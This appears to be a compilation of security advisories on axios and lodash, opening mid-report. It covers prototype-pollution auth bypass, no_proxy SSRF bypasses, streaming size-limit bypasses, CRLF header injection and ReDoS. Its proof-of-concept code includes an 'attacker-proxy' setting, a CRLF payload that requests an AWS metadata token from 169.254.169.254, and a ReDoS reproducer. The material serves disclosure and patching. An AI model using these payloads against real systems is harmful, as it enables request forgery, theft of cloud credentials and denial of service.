// settle.js:16 — ALL status codes resolve
const validateStatus = response.config.validateStatus; // () => true
if (!response.status || !validateStatus || validateStatus(response.status)) {
resolve(response); // 401, 403, 500 all resolve here!
}
`
4. The Impact
`
Before pollution:
HTTP 200 → resolve (success)
HTTP 401 → reject (auth error) → redirectToLogin()
HTTP 403 → reject (forbidden) → showAccessDenied()
HTTP 500 → reject (server error) → showErrorPage()
After pollution:
HTTP 200 → resolve (success)
HTTP 401 → resolve (SUCCESS!) → processAdminData() with error body
HTTP 403 → resolve (SUCCESS!) → application thinks user has access
HTTP 500 → resolve (SUCCESS!) → application processes error as data
`
Verified PoC Output
`
--- Before Pollution ---
401: REJECTED as expected - Request failed with status code 401
500: REJECTED as expected - Request failed with status code 500
--- After Pollution ---
200: RESOLVED as success (status: 200)
301: RESOLVED as success (status: 301)
401: RESOLVED as success (status: 401)
403: RESOLVED as success (status: 403)
404: RESOLVED as success (status: 404)
500: RESOLVED as success (status: 500)
503: RESOLVED as success (status: 503)
--- Authentication Bypass Demo ---
Auth check bypassed! 401 treated as success.
Application proceeds with: { status: 401, message: 'Response with status 401' }
`
Impact Analysis
Authentication Bypass: Applications relying on axios rejecting 401/403 to enforce auth will silently accept unauthorized responses, allowing unauthenticated access to protected resources.
Silent Error Swallowing: 500-series errors are treated as success, causing applications to process error bodies as valid data — leading to data corruption or logic errors.
Security Control Bypass: Rate limiting (429), WAF blocks (403), and CAPTCHA challenges are suppressed.
Universal Scope: Affects every axios instance in the application, including third-party libraries.
Recommended Fix
Replace the in operator with hasOwnProperty in mergeDirectKeys:
`javascript
// FIXED: lib/core/mergeConfig.js
function mergeDirectKeys(a, b, prop) {
if (Object.prototype.hasOwnProperty.call(config2, prop)) {
return getMergedValue(a, b);
} else if (Object.prototype.hasOwnProperty.call(config1, prop)) {
return getMergedValue(undefined, a);
}
}
`
Resources
CWE-1321: Prototype Pollution
CWE-287: Improper Authentication
GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios
MDN: in` operator
Axios GitHub Repository
Timeline
| Date | Event |
|---|---|
| 2026-04-15 | Vulnerability discovered during source code audit |
| 2026-04-15 | PoC developed and vulnerability confirmed |
| 2026-04-16 | Report revised for accuracy |
| TBD | Report submitted to vendor via GitHub Security Advisory |
Axios: no_proxy bypass via IP alias allows SSRF
The fix for no_proxy hostname normalization bypass (#10661) is incomplete.When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it.
The shouldBypassProxy() function does pure string matching — it does not
resolve IP aliases or loopback equivalents. As a result:
no_proxy=localhost does NOT block 127.0.0.1 or [::1]
no_proxy=127.0.0.1 does NOT block localhost or [::1]
POC :
process.env.no_proxy = 'localhost';
process.env.http_proxy = 'http://attacker-proxy:8888';
``(base) srisowmyanemani@Srisowmyas-MacBook-Pro axios % >....
process.env.http_proxy = 'http://127.0.0.1:8888';
console.log('=== Test 1: localhost (should bypass proxy) ===');
try {
await axios.get('http://localhost:7777/');
} catch(e) {
console.log('Error:', e.message);
}
console.log('');
console.log('=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===');
try {
await axios.get('http://127.0.0.1:7777/');
} catch(e) {
console.log('Error:', e.message);
}
fakeProxy.close();
internalServer.close();
});
});
EOF
=== Test 1: localhost (should bypass proxy) ===
✅ Internal server hit directly (correct)
=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===
🚨 PROXY RECEIVED REQUEST TO: http://127.0.0.1:7777/
🚨 Host header: 127.0.0.1:7777. ``
<img width="1212" height="247" alt="image" src="https://github.com/user-attachments/assets/0b07ddc4-507d-4b11-a630-15b94ad2c7e7" />
Impact: In server-side environments where no_proxy is used to prevent requests to internal/cloud metadata services (e.g., 169.254.169.254), an attacker who can influence the URL can bypass the restriction by using an IP alias instead of the hostname, routing the request through an attacker-controlled proxy and leaking internal data.
Fix: shouldBypassProxy() should resolve loopback aliases — localhost, 127.0.0.1, and ::1 should all be treated as equivalent.
Axios: HTTP adapter streamed responses bypass maxContentLength
Summary
When responseType: 'stream' is used, Axios returns the response stream without enforcing maxContentLength. This bypasses configured response-size limits and allows unbounded downstream consumption.
Details
In lib/adapters/http.js:
786-789: for responseType === 'stream', Axios immediately settles with the stream.
797-810: maxContentLength enforcement exists only in the non-stream buffering branch.
So callers may set maxContentLength and still receive/read arbitrarily large streamed responses.
PoC
Environment:
Axios main at commit f7a4ee2
Node v24.2.0
Steps:
1. Start an HTTP server that returns a 2 MiB response body.
2. Call Axios with:
adapter: 'http'
responseType: 'stream'
maxContentLength: 1024
3. Read the returned stream fully.
Observed:
Success; full 2097152 bytes readable.
Control check:
Same endpoint with responseType: 'text' and same maxContentLength: rejected with maxContentLength size of 1024 exceeded.
Impact
Type: DoS / unbounded response processing.
Impacted: Node.js applications relying on maxContentLength as a safety boundary while using streamed Axios responses.
Axios' HTTP adapter-streamed uploads bypass maxBodyLength when maxRedirects: 0
Summary
For stream request bodies, maxBodyLength is bypassed when maxRedirects is set to 0 (native http/https transport path). Oversized streamed uploads are sent fully even when the caller sets strict body limits.
Details
Relevant flow in lib/adapters/http.js:
556-564: maxBodyLength check applies only to buffered/non-stream data.
681-682: maxRedirects === 0 selects native http/https transport.
694-699: options.maxBodyLength is set, but native transport does not enforce it.
925-945: stream is piped directly to socket (data.pipe(req)) with no Axios byte counting.
This creates a path-specific bypass for streamed uploads.
### PoC
Environment:
Axios main at commit f7a4ee2
Node v24.2.0
Steps:
1. Start an HTTP server that counts uploaded bytes and returns {received}.
2. Send a 2 MiB Readable stream with:
adapter: 'http'
maxBodyLength: 1024
maxRedirects: 0
Observed:
Request succeeds; server reports received: 2097152.
Control checks:
Same stream with default/nonzero redirects: rejected with ERR_FR_MAX_BODY_LENGTH_EXCEEDED.
Buffered body with maxRedirects: 0: rejected with ERR_BAD_REQUEST.
### Impact
Type: DoS / uncontrolled upstream upload / resource exhaustion.
Impacted: Node.js services using streamed request bodies with maxBodyLength expecting hard enforcement, especially when following Axios guidance to use maxRedirects: 0 for streams.
Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain
Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain
Summary
The Axios library is vulnerable to a specific gadget-style attack chain in which prototype pollution in a third-party dependency may be leveraged to inject unsanitized header values into outbound requests.
Axios can be used as a gadget after pollution occurs elsewhere because header values merged from attacker-controlled prototype properties are not sanitized for CRLF (\r\n) characters before being written to the request. In affected deployments, this may enable limited request manipulation or metadata access as part of a higher-complexity exploit chain.
Severity: Moderate (CVSS 3.1 Base Score: 4.8)
Affected Versions: All versions (v0.x - v1.x)
Vulnerable Component: lib/adapters/http.js (Header Processing)
Usage of \"Helper\" Vulnerabilities
This issue requires a separate prototype pollution vulnerability in another library in the application stack (for example, qs, minimist, ini, or body-parser). If an attacker can pollute Object.prototype, Axios may pick up the polluted properties during config merge.
Because Axios does not sanitise these merged header values for CRLF (\r\n) characters, the polluted property can alter the structure of an outbound HTTP request.
Proof of Concept
1. The Setup (Simulated Pollution)
Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:
``javascript
Object.prototype['x-amz-target'] = \"dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore\";
`
2. The Gadget Trigger (Safe Code)
The application makes a completely safe, hardcoded request:
`javascript
// This looks safe to the developer
await axios.get('https://analytics.internal/pings');
`
3. The Execution
Axios merges the prototype property x-amz-target into the request headers. It then writes the header value directly to the socket without validation.
Resulting HTTP traffic:
`http
GET /pings HTTP/1.1
Host: analytics.internal
x-amz-target: dummy
PUT /latest/api/token HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token-ttl-seconds: 21600
GET /ignore HTTP/1.1
...
`
4. The Impact
In environments where requests can reach cloud metadata endpoints or sensitive internal services, the injected header content may help bypass expected request constraints and expose limited credentials or modify request semantics. This impact depends on application context and a separate prototype-pollution primitive.
Impact Analysis
Confidentiality: May expose limited sensitive information in affected network environments.
Integrity: May allow modification of outbound request structure or injected headers.
Attack Complexity: Exploitation requires a separate prototype-pollution vulnerability and a reachable target service.
Recommended Fix
Validate all header values in lib/adapters/http.js and xhr.js before passing them to the underlying request function.
Patch Suggestion:
`javascript
// In lib/adapters/http.js
utils.forEach(requestHeaders, function setRequestHeader(val, key) {
if (/[\r\n]/.test(val)) {
throw new Error('Security: Header value contains invalid characters');
}
// ... proceed to set header
});
``
References
OWASP: CRLF Injection (CWE-113)
This report was generated as part of a security audit of the Axios library.
lodash vulnerable to Prototype Pollution via array path bypass in `_.unset` and `_.omit`
Impact
Lodash versions 4.17.23 and earlier are vulnerable to prototype pollution in the _.unset and _.omit functions. The fix for CVE-2025-13465 only guards against string key members, so an attacker can bypass the check by passing array-wrapped path segments. This allows deletion of properties from built-in prototypes such as Object.prototype, Number.prototype, and String.prototype.
The issue permits deletion of prototype properties but does not allow overwriting their original behavior.
Patches
This issue is patched in 4.18.0.
Workarounds
None. Upgrade to the patched version.
Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF
Axios does not correctly handle hostname normalization when checking NO_PROXY rules.
Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NO_PROXY matching and go through the configured proxy.
This goes against what developers expect and lets attackers force requests through a proxy, even if NO_PROXY is set up to protect loopback or internal services.
According to RFC 1034 §3.1 and RFC 3986 §3.2.2, a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, localhost. is the same as localhost.
However, Axios does a literal string comparison instead of normalizing hostnames before checking NO_PROXY. This causes requests like http://localhost.:8080/ and http://[::1]:8080/ to be incorrectly proxied.
This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.
---
PoC
``js
import http from "http";
import axios from "axios";
const proxyPort = 5300;
http.createServer((req, res) => {
console.log("[PROXY] Got:", req.method, req.url, "Host:", req.headers.host);
res.writeHead(200, { "Content-Type": "text/plain" });
res.end("proxied");
}).listen(proxyPort, () => console.log("Proxy", proxyPort));
process.env.HTTP_PROXY = http://127.0.0.1:${proxyPort};
process.env.NO_PROXY = "localhost,127.0.0.1,::1";
async function test(url) {
try {
await axios.get(url, { timeout: 2000 });
} catch {}
}
setTimeout(async () => {
console.log("\n[] Testing http://localhost.:8080/");
await test("http://localhost.:8080/"); // goes through proxy
console.log("\n[] Testing http://[::1]:8080/");
await test("http://[::1]:8080/"); // goes through proxy
}, 500);
`
Expected: Requests bypass the proxy (direct to loopback).
Actual: Proxy logs requests for localhost. and [::1].
---
Impact
Applications that rely on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access are vulnerable.
Attackers controlling request URLs can:
Force Axios to send local traffic through an attacker-controlled proxy.
Bypass SSRF mitigations relying on NO\_PROXY rules.
Potentially exfiltrate sensitive responses from internal services via the proxy.
---
Affected Versions
Confirmed on Axios 1.12.2 (latest at time of testing).
affects all versions that rely on Axios’ current NO_PROXY evaluation.
---
Remediation
Axios should normalize hostnames before evaluating NO_PROXY`, including:
Strip trailing dots from hostnames (per RFC 3986).
Normalize IPv6 literals by removing brackets for matching.
Lodash has Prototype Pollution Vulnerability in `_.unset` and `_.omit` functions
Impact
Lodash versions 4.0.0 through 4.17.22 are vulnerable to prototype pollution in the _.unset and _.omit functions. An attacker can pass crafted paths which cause Lodash to delete methods from global prototypes.
The issue permits deletion of properties but does not allow overwriting their original behavior.
Patches
This issue is patched on 4.17.23.
Axios Cross-Site Request Forgery Vulnerability
An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.
Regular Expression Denial of Service (ReDoS) in lodash
All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.
Steps to reproduce (provided by reporter Liyuan Chen):
``js
var lo = require('lodash');
function build_blank(n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}
return ret + "1";
}
var s = build_blank(50000) var time0 = Date.now();
lo.trim(s)
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0);
var time1 = Date.now();
lo.toNumber(s) var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1);
var time2 = Date.now();
lo.trimEnd(s);
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2);
``